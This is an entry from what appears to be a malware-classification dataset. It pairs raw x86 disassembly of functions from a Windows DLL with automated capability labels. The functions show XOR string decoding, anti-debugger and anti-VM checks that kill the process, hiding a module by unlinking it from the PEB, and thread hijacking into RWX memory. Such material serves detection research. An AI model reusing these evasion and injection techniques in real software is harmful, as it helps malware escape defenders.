joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012e55
Capabilities:
Encode data using xor
Execute anti-debugging instructions
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x1009a078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x104
lea eax, [ebp - 0x110]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.1005ddd0
add esp, 0xc
lea eax, [ebp - 0x110]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
call fcn.10001f4d
pop ecx
push eax
lea eax, [ebp - 0x110]
mov esi, 0x1009bdbc
push eax
mov ecx, esi
call fcn.10001ed4
mov cl, 0x14
mov byte [ebp - 0x112], bl
mov al, 0x48
mov byte [ebp - 0x114], cl
xor al, cl
mov byte [ebp - 0x113], al
lea eax, [ebp - 0x113]
push eax
call fcn.10001f4d
pop ecx
push eax
push ecx
lea eax, [ebp - 0x113]
push eax
call fcn.100142e8
push 0xffffffffffffffff
inc eax
mov ecx, esi
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.1000d5ee
push eax
mov ecx, esi
call fcn.10003ac6
push ebx
push 1
lea ecx, [ebp - 0x138]
call fcn.10001e1f
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [0x1009e764], eax
call fcn.10001877
mov dword [0x1009e7cc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1000680e
call fcn.100068a0
movaps xmm0, xmmword [0x1008e880]
mov ecx, ebx
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x128], 0x1319201b
mov dword [ebp - 0x124], 0x4161b34
mov word [ebp - 0x120], 4
mov al, byte [ebp - 0x138]
xor byte [ebp + ecx - 0x137], al
inc ecx
cmp ecx, 0x18
jb 0x10012f61
push ebx
lea eax, [ebp - 0x137]
mov byte [ebp - 0x11f], bl
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10012fa2
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
sidt [ebp - 0x11c]
mov eax, dword [ebp - 0x11a]
mov ecx, 0xff000000
and eax, ecx
cmp eax, ecx
je 0x10012f8c
call fcn.10002340
call fcn.100023e2
test al, al
jne 0x10012f8c
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x114], ebx
rdtsc
mov dword [ebp - 0x11c], eax
rdtsc
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
sub eax, dword [ebp - 0x11c]
cmp eax, 0x1f4
ja 0x10012f8c
call fcn.1000243d
call fcn.10017b52
mov dword [0x1009e7f0], eax
test eax, eax
je 0x10013011
mov ecx, eax
call fcn.10017cd9
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100454d5
mov esp, ebp
pop ebp
ret
Function at 0x10013131
Capabilities:
Terminate process

Disassembly:
call fcn.100130a6
mov ecx, dword [0x1009e760]
call fcn.10010ed7
cmp al, 0xe9
jne 0x1001315c
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 4
push dword [0x1009e760]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1001319d
mov eax, dword [0x1009e760]
mov dword [0x1009e770], eax
call fcn.10044120
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.100445f0
push 0x100117f0
push 0x1009e770
call fcn.100439a0
call fcn.10044180
push esi
xor esi, esi
mov edx, 0x100115de
inc esi
mov ecx, 0x48b2af
push esi
call fcn.10013c59
push esi
mov edx, 0x10011613
mov ecx, 0x48b610
call fcn.10013c59
push esi
mov edx, 0x10011648
mov ecx, 0x48b980
call fcn.10013c59
push esi
mov edx, 0x1001167d
mov ecx, 0x48bcf0
call fcn.10013c59
push esi
mov edx, 0x100116b2
mov ecx, 0x48c060
call fcn.10013c59
push esi
mov edx, 0x100116e7
mov ecx, 0x48c3d0
call fcn.10013c59
push esi
mov edx, 0x1001171c
mov ecx, 0x48c740
call fcn.10013c59
push esi
mov edx, 0x10011751
mov ecx, 0x48cab0
call fcn.10013c59
push esi
mov edx, 0x10011786
mov ecx, 0x48ce20
call fcn.10013c59
push esi
mov edx, 0x100117bb
mov ecx, 0x48d190
call fcn.10013c59
add esp, 0x28
pop esi
ret
Function at 0x10013573
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x10076d10
call fcn.1004605f
mov esi, ecx
test esi, esi
je 0x100136e0
xor ebx, ebx
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push 0x20
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.100086e6
mov dword [ebp - 0x30], vtable.Packet.0
xor edi, edi
inc edi
mov dword [ebp - 4], edi
cmp dword [esi + 4], ebx
jle 0x10013632
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x4c]
push dword [esi + 4]
mov al, byte [eax]
mov byte [ebp - 0x14], al
call fcn.10008595
push edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], vtable.Packet.0
call fcn.10008688
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x30]
call fcn.10007af4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x4c], vtable.ByteBuffer.0
call fcn.10008772
mov eax, dword [esi + 4]
test eax, eax
jle 0x10013632
dec eax
lea ecx, [ebp - 0x30]
push eax
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.10008688
cmp byte [0x1009e769], 0
jne 0x100136c9
mov eax, dword [ebp - 0x20]
mov ecx, ebx
mov edi, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x1008ea60]
sub edi, eax
mov dword [ebp - 0x50], eax
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x54], bl
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xf
jb 0x1001365a
sub esp, 0x18
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.10001f6a
lea ecx, [ebp - 0x48]
call fcn.100409ac
add esp, 0x18
test edi, edi
jle 0x100136bd
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
cmovae esi, dword [ebp - 0x48]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10013695
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x50]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x10013687
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10001e1f
lea ecx, [ebp - 0x30]
call fcn.10013331
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.10008772
call fcn.10046009
ret
Function at 0x10013af2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1009a078]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str._dREAMsOFTV]
xor ecx, ecx
mov eax, dword [0x1009e7c8]
push ebx
push esi
push edi
mov dword [ebp - 0x20], eax
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x24], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xf
jb 0x10013b1e
sub esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x33]
mov ecx, esp
push eax
call fcn.10001f6a
lea ecx, [ebp - 0x1c]
call fcn.100409ac
xor ebx, ebx
add esp, 0x18
cmp dword [0x1009e7c4], ebx
jbe 0x10013b91
xor edi, edi
cmp dword [ebp - 8], 0x10
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10013b62
sub esi, ecx
mov eax, edi
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x20]
xor byte [edi + ecx], al
inc ebx
movzx edi, bx
cmp edi, dword [0x1009e7c4]
jb 0x10013b54
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.10001e1f
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100454d5
mov esp, ebp
pop ebp
ret

Function at 0x10013d34
Capabilities:
Encode data using xor

Disassembly:
push 0x54
mov eax, 0x10076d82
call fcn.1004605f
cmp byte [0x1009e768], 0
je 0x10013e41
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [0x1009e7e8]
sbb edx, dword [0x1009e7ec]
mov dword [ebp - 0x5c], edx
jne 0x10013d6f
cmp eax, 0xbb8
jb 0x10013e41
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
movaps xmm0, xmmword [str._bLzmie_gnIdam]
xor ecx, ecx
mov dword [0x1009e7e8], eax
mov dword [0x1009e7ec], edx
movups xmmword [ebp - 0x58], xmm0
mov al, byte [ebp - 0x58]
xor byte [ebp + ecx - 0x57], al
inc ecx
cmp ecx, 0xe
jb 0x10013d8d
sub esp, 0x18
mov byte [ebp - 0x49], 0
lea eax, [ebp - 0x57]
mov ecx, esp
push eax
call fcn.10001f6a
lea ecx, [ebp - 0x48]
call fcn.100409ac
add esp, 0x18
and dword [ebp - 4], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x14], 0xa1
rep stosd dword es:[edi], eax
push 0x1000
lea ecx, [ebp - 0x30]
call fcn.10008595
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.Packet.0
call fcn.10008688
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x14], 0xa5
call fcn.10008688
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.10014ce4
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
sub edx, ecx
call fcn.10011009
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.10008772
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10001e1f
call fcn.10046009
ret
Function at 0x10013f18
Capabilities:
Get storage device properties

Disassembly:
push 0x34
mov eax, 0x10076e04
call fcn.1004605f
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push eax
push str..PhysicalDrive0
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10013f5b
and dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
jmp 0x10014095
xor ecx, ecx
mov dword [ebp - 0x20], fcn.1001409d
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ecx
lea edi, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x28], ecx
stosd dword es:[edi], eax
push ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
push 8
lea eax, [ebp - 0x28]
mov dword [ebp - 0x34], ecx
push eax
push 0xc
lea eax, [ebp - 0x34]
mov dword [ebp - 0x30], ecx
push eax
push 0x2d1400
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x10013fc7
and dword [esi + 0x10], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
jb 0x10013fb6
mov eax, dword [esi]
jmp 0x10013fb8
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 4], 1
jmp 0x1001408a
mov eax, dword [ebp - 0x24]
push eax
mov dword [ebp - 0x3c], eax
call fcn.10045abb
mov edi, eax
pop ecx
test edi, edi
je 0x10013fea
push dword [ebp - 0x3c]
push 0
push edi
call fcn.1005ddd0
add esp, 0xc
jmp 0x10013fec
xor edi, edi
mov dword [ebp - 0x38], edi
push 0
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x3c]
lea eax, [ebp - 0x34]
push edi
push 0xc
push eax
push 0x2d1400
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x10014041
xor ecx, ecx
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], ecx
jb 0x10014029
mov eax, dword [esi]
jmp 0x1001402b
mov eax, esi
mov byte [eax], cl
test edi, edi
je 0x10014038
push edi
call fcn.10045ab6
pop ecx
mov dword [ebp - 4], 3
jmp 0x1001408a
mov eax, dword [edi + 0x18]
test eax, eax
jne 0x10014072
xor ecx, ecx
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], ecx
jb 0x1001405e
mov eax, dword [esi]
jmp 0x10014060
mov eax, esi
push edi
mov byte [eax], cl
call fcn.10045ab6
pop ecx
mov dword [ebp - 4], 4
jmp 0x1001408a
add eax, edi
mov ecx, esi
push eax
call fcn.10001f6a
push edi
call fcn.10045ab6
pop ecx
mov dword [ebp - 4], 5
test ebx, ebx
je 0x10014095
push ebx
call fcn.1001409d
pop ecx
mov eax, esi
call fcn.10046009
ret
Function at 0x10017961
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1009a078]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str.w___]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0x18141e59
push esi
mov esi, ecx
mov byte [ebp - 0x20], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x1001798e
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], bl
push eax
mov edx, 0x1009bd40
lea ecx, [ebp - 0x1c]
call fcn.10009fc4
mov eax, dword [esi + 0x1fc]
pop ecx
test eax, eax
je 0x100179c1
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x8010
cmovae eax, dword [ebp - 0x1c]
push ebx
push ebx
push 1
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x100179fb
mov dword [esi + 0x14], eax
cmp byte [esi + 0x200], bl
je 0x100179fb
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.10001e1f
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100454d5
mov esp, ebp
pop ebp
ret
Function at 0x10017b52
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1009a078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x2f4], 0x61e386a
push esi
mov cl, 0x6a
mov dword [ebp - 0x2f0], 0xe0b0526
mov dword [ebp - 0x2ec], 0x3181e39
mov eax, ebx
mov word [ebp - 0x2e8], 0xd04
mov byte [ebp - 0x2e6], bl
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x10017baf
mov cl, byte [ebp - 0x2f4]
jmp 0x10017b9a
mov byte [ebp - 0x2e6], bl
mov cl, 0x77
mov dword [ebp - 0x2e4], 0x13031977
mov eax, ebx
mov dword [ebp - 0x2e0], 0x13591b1b
mov word [ebp - 0x2dc], 0x1b1b
mov byte [ebp - 0x2da], bl
xor byte [ebp + eax - 0x2e3], cl
inc eax
cmp eax, 9
jae 0x10017bf1
mov cl, byte [ebp - 0x2e4]
jmp 0x10017bdc
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], bl
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x10017c23
xor eax, eax
jmp 0x10017cc9
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10017c1c
push 0x2cc
lea eax, [ebp - 0x2d8]
push ebx
push eax
call fcn.1005ddd0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017c1c
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10017c1c
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10017c1c
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x100019a3
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10017c1c
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100454d5
mov esp, ebp
pop ebp
ret
Function at 0x10017cd9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], 0xe1e046a
mov esi, ecx
mov dword [ebp - 8], 0xe440606
push edi
mov cl, 0x6a
mov word [ebp - 4], 0x606
mov byte [ebp - 2], bl
mov eax, ebx
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 9
jae 0x10017d10
mov cl, byte [ebp - 0xc]
jmp 0x10017d01
lea eax, [ebp - 0xb]
mov byte [ebp - 2], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x10017d27
xor al, al
jmp 0x10017d7c
movaps xmm0, xmmword [0x1008f110]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x445e6258
mov dword [ebp - 0x10], 0x525753
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x16
jb 0x10017d42
lea eax, [ebp - 0x23]
mov byte [ebp - 0xd], bl
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10017d23
test esi, esi
jne 0x10017d6f
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push ebx
push ebx
push 0x11
push esi
call edi
neg eax
sbb al, al
inc al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10017d83
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x10017dbd
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10017dc1
cmp edx, esi
jne 0x10017da6
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10017de1
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10017de5
cmp edx, esi
jne 0x10017dca
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10017e05
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10017e09
cmp edx, esi
jne 0x10017dee
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10017fe2
Capabilities:
Resume thread

Disassembly:
push 0xc
push 0x10094190
call fcn.100466a0
mov esi, dword [0x1009e7f0]
test esi, esi
jne 0x10017ffd
or eax, 0xffffffff
jmp 0x1001805a
and dword [ebp - 4], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1001801d
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x1001805a
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x10018034
mov dword [ebp - 4], 0xfffffffe
push 2
pop eax
jmp 0x1001805a
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
test eax, eax
jns 0x10018051
mov dword [ebp - 4], 0xfffffffe
push 3
jmp 0x10018031
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
call fcn.100466e6
ret

Function at 0x100184bd
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1009a078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], 0xa1a006e
mov cl, 0x6e
mov dword [ebp - 0x10], 0xa400202
mov word [ebp - 0xc], 0x202
mov eax, ebx
mov byte [ebp - 0xa], bl
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 9
jae 0x100184fa
mov cl, byte [ebp - 0x14]
jmp 0x100184eb
lea eax, [ebp - 0x13]
mov byte [ebp - 0xa], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movaps xmm0, xmmword [0x1008f3e0]
mov edx, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x7f7a61
mov ecx, ebx
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x12
jb 0x1001851d
lea eax, [ebp - 0x27]
mov byte [ebp - 0x15], bl
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
mov edx, 0x10018060
mov ecx, eax
call fcn.10040a09
pop ecx
lea ecx, [ebp - 8]
mov dword [0x1009e80c], eax
push ecx
push 0x40
push 5
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100454d5
mov esp, ebp
pop ebp
ret
Function at 0x1001958d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
xor ebx, ebx
mov dword [esp + 0xc], 0x40f0d6a
push edi
mov esi, ecx
mov word [esp + 0x14], 0xf03
mov dl, 0x6a
mov byte [esp + 0x16], bl
mov eax, ebx
xor byte [esp + eax + 0x11], dl
inc eax
cmp eax, 5
jae 0x100195c4
mov dl, byte [esp + 0x10]
jmp 0x100195b4
lea eax, [esp + 0x11]
mov byte [esp + 0x16], bl
push eax
lea ecx, [esp + 0x24]
call fcn.10001f6a
mov ecx, dword [esi + 8]
lea edx, [esp + 0x20]
call fcn.10010042
push ebx
push 1
lea ecx, [esp + 0x28]
mov edi, eax
call fcn.10001e1f
mov cl, 0x36
mov dword [esp + 0x10], 0x42425736
mov dword [esp + 0x14], 0x5d5557
mov eax, ebx
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 6
jae 0x10019614
mov cl, byte [esp + 0x10]
jmp 0x10019604
lea eax, [esp + 0x11]
mov byte [esp + 0x17], bl
push eax
lea ecx, [esp + 0x24]
call fcn.10001f6a
lea edx, [esp + 0x20]
mov ecx, edi
call fcn.10010042
push ebx
push 1
lea ecx, [esp + 0x28]
mov edi, eax
call fcn.10001e1f
movaps xmm0, xmmword [0x1008e1f0]
mov ecx, ebx
movups xmmword [esp + 0x10], xmm0
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xe
jb 0x1001964d
lea eax, [esp + 0x11]
mov byte [esp + 0x1f], bl
push eax
lea ecx, [esp + 0x24]
call fcn.10001f6a
lea edx, [esp + 0x20]
mov ecx, edi
call fcn.10010042
push ebx
push 1
lea ecx, [esp + 0x28]
mov dword [esi], eax
call fcn.10001e1f
movaps xmm0, xmmword [str.I]
mov ecx, ebx
movups xmmword [esp + 0x10], xmm0
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xe
jb 0x10019694
lea eax, [esp + 0x11]
mov byte [esp + 0x1f], bl
push eax
lea ecx, [esp + 0x24]
call fcn.10001f6a
lea edx, [esp + 0x20]
mov ecx, edi
call fcn.10010042
push ebx
push 1
lea ecx, [esp + 0x28]
mov dword [esi + 4], eax
call fcn.10001e1f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100196d5
Capabilities:
Encode data using xor

Disassembly:
push 0x40
mov eax, 0x100772f9
call fcn.1004602b
mov esi, ecx
mov eax, dword [esi + 8]
mov dword [0x1009e83c], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10019792
cmp dword [ebp + 0xc], 1
jne 0x10019792
cmp dword [esi + 4], 0
je 0x1001978e
cmp eax, dword [esi + 4]
jne 0x1001978e
cmp byte [0x1009e787], 0
sete al
xor ebx, ebx
mov byte [0x1009e787], al
mov ecx, ebx
test al, al
je 0x1001974c
movaps xmm0, xmmword [0x1008edc0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x3c
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x10
jb 0x10019737
mov byte [ebp - 0x23], bl
lea eax, [ebp - 0x33]
jmp 0x1001976d
movaps xmm0, xmmword [0x1008e920]
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 0x10], bl
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xf
jb 0x1001975a
mov byte [ebp - 0x10], bl
lea eax, [ebp - 0x1f]
push eax
lea ecx, [ebp - 0x4c]
call fcn.10001f6a
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x4c]
mov ecx, dword [esi]
call fcn.10010c45
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.10001e1f
mov al, 1
jmp 0x10019794
xor al, al
call fcn.10045ff4
ret 8